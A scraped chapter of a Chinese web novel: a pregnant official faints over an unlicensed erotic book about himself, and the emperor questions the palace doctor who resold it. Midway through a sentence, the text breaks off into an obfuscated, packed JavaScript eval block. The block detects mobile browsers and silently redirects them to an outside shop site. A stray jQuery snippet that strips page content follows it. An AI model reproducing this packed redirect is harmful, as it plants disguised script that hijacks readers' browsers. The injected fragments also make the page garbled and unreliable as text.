文趣网 > 其他小说 > 权奕双璧 > 213. 等待进入网审
    肃穆威严的御书房,檀香袅袅,案头堆叠着厚厚的奏折,静谧得只剩笔尖划过宣纸的沙沙轻响。

    苏公公步履匆匆踏入殿中,神色带着几分慌张不敢耽搁分毫,扑通一声双膝跪地沉声回禀:“陛下、谢大人,坤宁宫宫人来报,燕大人刚才忽然晕倒了!”

    话音未落,方才还端坐椅上、神色沉稳的谢伟恒突然起身。

    椅腿与地面摩擦发出刺耳的声响,他眼底的从容碎裂,满心满眼只剩慌乱,脚下步子急切几乎是立刻就要冲出御书房。

    批阅奏折的虞睿祥抬手拦住他。

    虞睿祥敛了眉宇间的正色,语气带着稳妥的安抚却也藏着一丝不易察觉的焦灼:“别急,朕陪你一同过去。”

    事态紧急,二人都是步履迅疾,转瞬就抵达了坤宁宫偏殿。

    殿内气氛凝滞得诡异。

    沈黎卿端坐一侧双手规矩放在膝上,目光飘忽不敢看人;

    凤嫔垂着臻首,睫毛簌簌轻颤,死死盯着脚下的青砖;

    乌昆曜霜更是浑身僵硬,眼珠子胡乱转悠,唯独不敢看向匆匆赶来的谢伟恒。

    三人各怀心虚,心思如出一辙。

    一来话本里的主角现在双双在场,读过大尺度桥段的三人只觉浑身尴尬;二来燕修延是看了那本话本才晕倒的。

    几人唯恐谢伟恒动怒追责,个个心怀惴惴不敢抬头对视。

    郑太医正凝神为床榻上的人诊脉,三指稳稳搭在燕修延腕间,眉头时松时蹙,神色凝重。

    片刻后,原本紧闭双目、面色苍白的燕修延眼睫轻轻颤动,缓缓睁开眼眸,意识渐渐回笼。

    谢伟恒见状心头一紧瞬间松了大半,快步走到床边屈膝蹲下。

    他抬手指尖轻柔拂开燕修延额前凌乱的碎发,指腹轻轻蹭过他微凉的肌肤,嗓音压得极低满是温柔与担忧:“修延,可清醒些了?现在感觉如何?”

    燕修延缓缓偏过头,澄澈的眼眸带着初醒的倦怠,唇色浅淡得近乎透明,语气带着一丝隐忍的不适:“肚子不舒服,腹部一阵一阵绞着疼。”

    郑太医收回手:“正常,动了胎气出现滑胎先兆故而腹部绞痛不止。只是燕大人都有身孕半月有余了,胎相原本算是安稳按理断然不会突发这般凶险状况,你们今天都干什么了?”

    一语落地,殿内空气骤然一静。

    虞睿祥目光淡淡看向一旁始终垂头心虚的沈黎卿、凤嫔与乌昆曜霜三人,再想到从乌昆曜霜手中得来的话本。

    想来一切根源就在此了。

    谢伟恒的目光落在身侧虚弱卧床的人身上,眸底带着错愕、无奈又细碎的探究,唇瓣微启,刚吐出一个字:“你……”

    燕修延轻轻摇头,指尖悄悄勾了勾谢伟恒的袖口:先别问,回去再说。

    谢伟恒心领神会,压下满心疑惑转头看向那三个低头噤声、宛如鹌鹑般心虚的人,正要开口问话。

    未曾想,虞睿祥已经率先抬手将话本递到谢伟恒面前:“不必问了,朕大概知道修延为什么突发胎相不稳了。”

    燕修延余光扫到那两本熟悉的册子,偏过头看向谢伟恒,用眼神无声质问:你家书肆干的?

    谢伟恒好笑地微微摇头,这般活色生香、私密至极的场景,他不可能落笔成书让别人看了去。

    “……我大概知道是谁了。”

    虞睿祥神色一肃帝王威严尽显,沉声道:“是谁?惊扰朝臣!必须将人抓起来施以严刑,看看背后是否有人蓄意挑唆、刻意生事!”

    燕修延抬手轻轻拿过那两本话本,随手卷成卷握在掌心,淡淡开口:“如果是我猜测的人选,背后倒是无任何人指使,纯粹是胆子太大自作主张。”

    “温瑞?”谢伟恒抬眼精准道出第一个人选。

    燕修延轻轻点头,眼底带着几分哭笑不得的无奈:“或许还不止,温泽、白天铎、肖泽等等多半都掺和其中了。”

    监察司这群兔崽子胆子愈发无法无天了,居然敢偷偷编撰他和谢伟恒的话本在外售卖流传。

    甚至闹进了皇宫,害得他看了都气血翻涌动了胎气。

    谢伟恒翻开燕修延手中话本,粗略扫过几行露骨戏谑的文字,转头看向虞睿祥,沉声询问关键:“陛下这两本话本从何处得来?”

    “是乌孙女皇所言。”

    虞睿祥看向一侧的乌昆曜霜语气平淡,“她说闲来无趣,托人购入城中热销的话本解闷,什么畅销就买了什么。”

    被点名的乌昆曜霜心头一慌,抬头猝不及防对上谢伟恒沉静通透的视线,心底的慌乱彻底翻涌上来,刚才强装的镇定轰然破碎飞快低下头,指尖紧张地攥住了衣角不敢再直视任何人。

    谢伟恒指尖拂过话本扉页与内页,眸光锐利,淡淡道出疑点:“此书,不像是市面正规售卖的话本。”

    在大虞,但凡写话本、写书想要售卖都必须得到官府的同意、在官府备案。

    每本能够售卖的书,内页第一页都会写上有专属城市与排序的独一无二的编号。

    “这两本书干干净净,无任何官府备案编号,应该是私下交易。”

    虞睿祥洞悉关键,明白了谢伟恒的意思,也就是说乌昆曜霜撒了谎?

    他眼神突然变冷直直看向乌昆曜霜:“女皇给朕的那两本书,究竟从何而来?”

    乌昆曜霜心头咯噔一沉,暗呼糟糕。

    当着正主的面兴师问罪,她哪里扛得住!

    她飞快用余光瞟向身侧的沈黎卿与凤嫔,二人眼观鼻鼻观心默默将目光投向正在写药方的郑太医。

    瞬息间,乌昆曜霜明白了果断反手甩锅,语气坦荡:“这话本……我从郑太医手中买来的!”

    “谁?郑太医?!”

    虞睿祥满脸错愕,差点以为自己听错。

    燕修延也是一愣眉眼间写满意外。

    就连一直稳稳握着燕修延手、神色淡然的谢伟恒眼底都掠过一抹清晰的讶异。

    看不出来,郑太医居然背地里还有倒卖私密话本的癖好?

    郑太医正低头执笔认认真真为燕修延书写安胎调养的药方,字迹工整,满心只想开好方子了结差事。

    突然听到这天降黑锅,他执笔的手一顿,脸皮狠狠一抽,心底哀嚎不止。

    坏了!乌孙女皇这是直接把他卖了!

    不敢有半分迟疑,郑太医放下毛笔手脚麻利地俯身跪地,姿态恭敬又诚恳,火速坦白从宽:“陛下,这话本并非臣所撰写是监察司柳岚拿来,托臣转手卖给宫中娘娘与女皇解闷,臣不过是从中赚些微薄零花,与她三七分账罢了!”

    听到这里,燕修延眼底瞬间掠过一抹了然,果然不出他所料!

    他就知道,这里面肯定有监察司那群兔崽子的手笔,难怪文风跳脱放肆满是调皮胆大。

    虞睿祥无奈按住突突跳动的额角,只觉头疼不已,抬手挥了挥,无奈下令:“胡闹!往后不许再做这等私卖话本的荒唐事!你老实交代,卖给了哪些人?”

    郑太医平日里倒卖的话本大多数都是比较正经的,在官府过过明路的,也就赚点微薄差价补。

    最好卖的还是这些不太正经。

    郑太医跪着把自己的主顾全给卖了,卖到沈黎卿和凤嫔的时候,他小心翼翼抬头飞快瞥了一眼屏息凝神、假装无事的沈黎卿与凤嫔:“还有……皇后娘娘与凤嫔娘娘也从臣这里买过。”

    这话如同惊雷,炸得虞睿祥脸色彻底沉了下来。

    不止自己的后宫妃嫔,居然连宫女太监都有人买,全都卷入这场荒唐闹剧!

    他指着跪地的郑太医,又气又无奈:“你……你真是胆大妄为!”

    郑太医吓得匍匐在地,哭丧着脸连连喊冤:“臣实在是手头拮据啊陛下!臣每月的俸禄悉数上交内子保管,平日里想买些笔墨药材、零碎物件实在是囊中羞涩啊陛下!实在是不得已才出此下策!”

    “朕平日给你的赏赐呢?”虞睿祥冷声追问。

    郑太医大哭,委屈的很,嗓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688624|206799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音哽咽:“悉数被内子收走了!臣也曾试图私藏,奈何内子心思缜密稍加盘问就能诈出实情,臣实在无从隐瞒啊陛下!”

    看着他这副委屈巴巴、实属无奈的模样,虞睿祥捏了捏眉心终究是没再追责,摆摆手倦怠道:“罢了,起来吧,往后绝不可再犯。”

    “臣叩谢陛下恩典!”

    郑太医瞬间收住所有哭声,变脸速度极快,麻利地从地上爬起,低头继续认认真真书写安胎药方,仿佛刚才跪地哭冤的人并非他一般。

    一旁的凤嫔见状悄悄抬手扯了扯沈黎卿和乌昆曜霜的衣袖,三人眼神交汇正想趁着氛围松懈悄悄溜出偏殿躲过追责。

    “站住。”

    虞睿祥清冷的声音突然响起,拦住了三人的去路,“朕准你们走了么?”

    沈黎卿脚步一顿,心底暗自腹诽:该交代的都交代了,锅也甩干净了,还端着帝王架子追责,未免太过小气。

    虞睿祥秒怂:“算了,你们走吧。”

    床榻上的燕修延看得有趣,趁着众人不备,悄悄抬眼对着身侧的谢伟恒飞快挤了挤眼睛:陛下惧内真严重。

    谢伟恒垂眸看着他狡黠灵动的模样,眼底漾开浅浅笑意,微微点头无声默认。

    谁知这细微的互动,被眼尖的虞睿祥逮了个正着。

    他当场拆穿:“你们两个当着朕的面用眼神偷偷蛐蛐朕?”

    燕修延摆正神色,一脸无辜地眨了眨眼:“陛下冤枉我,我只是刚才头晕初醒,眼睛干涩眨眨眼睛润一润罢了,绝无他意。”

    虞睿祥信他的这套说辞才有鬼,挑眉冷哼顺势算起总账:“你手下监察司管束不严,居然敢私下做起这等荒唐生意,还把生意做到朕的后宫来了!原本你怀有身孕、身体受累朕有重赏,现在尽数免去一笔勾销。”

    “啊?!”

    燕修延哀嚎一声,挣扎着想坐起身,满脸委屈不甘。

    谢伟恒连忙伸手将人稳稳揽入怀中,让他舒服地靠在自己坚实的肩头与怀中,稳稳护住他的小腹,温声安抚。

    怀中的人皱着眉,语气满是无辜与憋屈:“这锅我不背!我从头到尾半点不知情、也没赚到一个子儿!为什么要克扣给我的赏赐啊?”

    听听听听,克扣这个词都出来了。

    虞睿祥心底暗笑,面上却硬撑着帝王威严,暗下决心今天无论如何他都要硬气一回,就算谢伟恒偏袒护着也绝不松口——除非这耍赖的燕修延真敢就地打滚,把坤宁宫的地擦上一遍。

    一番闹剧总算落幕。

    不多时,郑太医写完药方细细叮嘱了诸多安胎静养的禁忌,二人就带着备好的安胎药材,辞别皇宫,登上回府的马车。

    宽敞的马车缓缓行驶在宫道上,车帘隔绝了外界喧嚣,车内静谧温馨。

    软垫铺就的车榻柔软舒适,谢伟恒侧身坐着,一只手臂温柔环住燕修延的腰将人稳稳圈在怀中,另一只手轻轻覆在他尚且平坦的小腹上,掌心温热动作轻柔至极。

    他垂眸凝视着怀中人狡黠褪去、略带慵懒的眉眼,嗓音低沉温柔,带着几分探究:“我说你最近怎么总是食欲不振、嗜睡慵懒,周身也绵软无力原来是暗藏玄机。老实交代,百禄宴那日你悄悄服了生子药是不是?”

    燕修延靠在他温暖的怀里,全然没了刚才在虞睿祥面前委屈耍赖的模样,眉眼弯弯带着几分狡黠嬉皮,仰头看着他:“是的,小侄儿百禄宴进殿之前吃的。怎么,现在怀上了你想不要?”

    谢伟恒低头下巴轻轻抵着燕修延的头顶,眸底满是温柔与珍视,哪里有半分不悦只剩担忧:“胡说什么,我从知道你怀有身孕后就没有过半分不想要,只是你服药不曾告诉我,我心中不安唯恐药物有未知副作用,损了你自身根基、伤了你的身体。”

    燕修延心头暖意翻涌,转身抬手环住谢伟恒的脖颈,语气慵懒又安心:“放心吧,半点副作用都没有。在乌孙的时候柳岚就反复钻研改良过方子,药性温和稳妥已经剔除了所有隐患,绝对无碍。”